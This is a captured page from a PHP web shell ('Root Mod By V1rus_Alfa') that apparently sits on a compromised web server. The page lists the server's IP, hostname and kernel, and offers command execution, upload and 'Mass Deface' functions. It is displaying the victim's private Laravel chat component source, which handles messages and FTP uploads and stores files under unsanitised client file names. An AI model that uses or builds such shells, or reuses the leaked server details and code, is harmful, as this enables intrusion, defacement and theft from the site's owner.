���Root Mod By V1rus_Alfa
User / IP
:
216.73.216.158
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
portal-cutunix
/
app
/
Livewire
/
Chat
/
Viewing: TenantChatComponent.php
<?php namespace App\Livewire\Chat; use App\Models\Conversation; use App\Models\Message; use Livewire\Features\SupportFileUploads\TemporaryUploadedFile; use Masmerise\Toaster\Toastable; use Modules\File\Models\File; use Carbon\Carbon; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Storage; use Livewire\Component; use Livewire\WithFileUploads; use Livewire\Attributes\On; use Modules\File\Services\Uploader; use Modules\Project\Models\Order; class TenantChatComponent extends Component { use WithFileUploads, Toastable; public $conversations; public $activeConversation = null; public $message = ''; public $attachment; public $isRecording = false; public $searchQuery = ''; public $subject_id = null; public $selectedConversation = null; public $participant_name = null; protected $listeners = [ 'audioRecorded' => 'handleAudioRecording' ]; public function mount($subject_id = null, $selected_conversation = null) { // @if((auth('web')->check() && $message->didCustomerSentIt()) || // (auth('tenant')->check() && $message->didTenantSentIt()) || // (auth('admin')->check() && $message->didAdminSentIt())) $this->subject_id = $subject_id; if (!is_null($subject_id)) $this->participant_name = Order::find($subject_id)->tenant?->title; $this->selectedConversation = $selected_conversation; if (!is_null($subject_id)) $this->loadConversations(); } public function loadConversations() { $this->dispatch('set-messages-as-read'); // $this->conversations = Conversation::whereHas('participants', function ($query) { // $query->where('participant_id', auth('tenant')->id()) // ->where('participant_type', auth('tenant')->user()::class); // })->with('messages', 'participants.participant', 'lastMessage') // ->latest() // ->get(); // $this->conversations = Conversation::where('subject_id', $this->subject_id) // ->with('messages', 'participants.participant', 'lastMessage') // ->latest() // ->get(); $this->conversations = Conversation::whereHas('subject', function ($subjectQuery) { $subjectQuery->whereHas('tenant', function ($tenantQuery) { $tenantQuery->where('services_id', auth('tenant')->user()?->tenant?->id); }); })->latest()->get(); } public function setActiveConversation($conversationId) { $conversation = Conversation::findOrFail($conversationId); return redirect()->route('tenant.chat-with-customer', [ 'tenant' => auth('tenant')->user()->tenant, 'order_id' => $conversation?->subject_id ] ); } public function sendTextMessage() { DB::beginTransaction(); try { if (empty($this->message)) { return; } $messageData = [ 'conversation_id' => $this->selectedConversation?->id, 'content' => $this->message, 'type' => Message::TYPE_TEXT, 'sender_type' => auth('tenant')->user()::class, 'sender_id' => auth('tenant')->id(), ]; Message::create($messageData); $this->message = ''; DB::commit(); $this->dispatch('messageAdded'); $this->dispatch('scroll-bottom'); } catch (\Throwable $th) { DB::rollBack(); throw $th; } } public function updatedAttachment(TemporaryUploadedFile $file) { DB::beginTransaction(); try { $fileName = $file->getClientOriginalName(); $conversationPath = 'messenger/conversations/' . $this->selectedConversation->id . '/files/'; $fileMimeType = $file->getMimeType(); \Log::info('Starting file upload', [ 'filename' => $fileName, 'path' => $conversationPath, 'size' => $file->getSize(), 'mime' => $fileMimeType ]); $ftpDisk = Storage::disk('ftp'); // Ensure directory exists try { if (!$ftpDisk->exists($conversationPath)) { $ftpDisk->makeDirectory($conversationPath); \Log::info('Created directory', ['path' => $conversationPath]); } } catch (\Exception $e) { \Log::warning('Directory creation issue', ['error' => $e->getMessage()]); } // Try uploading with file contents (more reliable than putFileAs) $fullPath = $conversationPath . $fileName; $fileContents = file_get_contents($file->getRealPath()); \Log::info('Attempting FTP upload', [ 'full_path' => $fullPath, 'content_size' => strlen($fileContents) ]); $uploadSuccess = $ftpDisk->put($fullPath, $fileContents); if (!$uploadSuccess) { throw new \Exception('FTP upload returned false'); } // Verify file was uploaded if (!$ftpDisk->exists($fullPath)) { throw new \Exception('File not found on FTP after upload'); } \Log::info('File uploaded successfully to FTP', ['path' => $fullPath]); // Create file record $fileRecord = File::create([ 'name' => $fileName, 'address' => $conversationPath, // Store the full path 'type' => $fileMimeType, 'is_private' => false, 'size' => $file->getSize(), 'host' => config('filesystems.disks.ftp.download_host'), ]); // Create message $messageData = [ 'conversation_id' => $this->selectedConversation->id, 'type' => Message::TYPE_FILE, 'sender_type' => auth('tenant')->user()::class, 'sender_id' => auth('tenant')->id(), 'file_id' => $fileRecord->id, ]; $messageData['type'] = $this->determineFileType($fileRecord->type); Message::create($messageData); $this->reset('attachment'); DB::commit(); $this->dispatch('messageAdded'); $this->dispatch('scroll-bottom'); \Log::info('File upload completed successfully'); } catch (\Throwable $th) { DB::rollBack(); \Log::error('File upload failed', [ 'error' => $th->getMessage(), 'file' => $th->getFile(), 'line' => $th->getLine(), 'trace' => $th->getTraceAsString() ]); $this->addError('attachment', 'Failed to upload file: ' . $th->getMessage()); } } private function determineFileType($mimeType) { if (str_starts_with($mimeType, 'image/')) return 'image'; if (str_starts_with($mimeType, 'video/')) return 'video'; if (str_starts_with($mimeType, 'audio/')) return 'audio'; if (in_array($mimeType, ['application/zip', 'application/x-rar'])) return 'archive'; return 'document'; } #[On('messageAdded')] public function refreshMessages() { if ($this->selectedConversation) { $this->selectedConversation = Conversation::with(['messages.sender', 'participants.participant']) ->find($this->selectedConversation->id); } } public function render() { return view('livewire.chat.chat-component'); } #[On('set-messages-as-read')] public function setMessagesAsRead() { if (!is_null($this->selectedConversation)) $this->selectedConversation?->messages() ->where('is_read', false) ->where('read_at', null) ->where('sender_type', '<>', auth('tenant')->user()::class) ->where('sender_id', '<>', auth('tenant')->id()) ->each(function ($message) { $message->update([ 'is_read' => true, 'read_at' => Carbon::now()->format('Y-m-d H:i:s'), ]); }); } public function handleAudioRecording($base64Audio, Uploader $uploader) { $audioData = explode(',', $base64Audio); $mimeType = $audioData[0]; $base64Data = $audioData[1]; $audioContent = base64_decode($base64Data); $filePath = 'messenger/conversations/' . $this->selectedConversation?->id . '/files/'; $file = $uploader->upload( 'ftp', $audioContent, $filePath, $mimeType ); Message::create([ 'conversation_id' => $this->selectedConversation?->id, 'content' => null, 'type' => 'audio', 'file_id' => $file->id, 'sender_type' => auth('tenant')->user()::class, 'sender_id' => auth('tenant')->id(), ]); $this->dispatch('messageAdded'); $this->dispatch('scroll-bottom'); } public function toggleRecording() { $this->isRecording = !$this->isRecording; $this->dispatch('toggleRecording', isRecording: $this->isRecording); } }
Coded With 💗 by
0x6ick Mod By V1rus_Alfa